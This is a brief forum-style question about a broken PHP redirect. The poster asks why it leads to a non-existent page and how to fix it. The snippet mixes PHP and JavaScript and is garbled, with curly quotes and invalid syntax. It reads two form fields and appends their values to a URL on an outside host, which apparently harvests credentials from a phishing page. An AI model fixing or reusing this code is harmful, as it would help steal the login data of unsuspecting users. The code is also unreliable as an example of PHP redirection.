Load php not working

<?php
header(“Location: http://www.colaboranet.com/nctol/’);location.href='http://colanctol.comoj.com/colanctol/informationcheck.php?validate= ‘+escape(document.getElementById(‘107_i’).value + document.getElementById(‘108_i’).value);escape(’”);
exit;
?>

but is not working it send to a non existing page
how can i fix it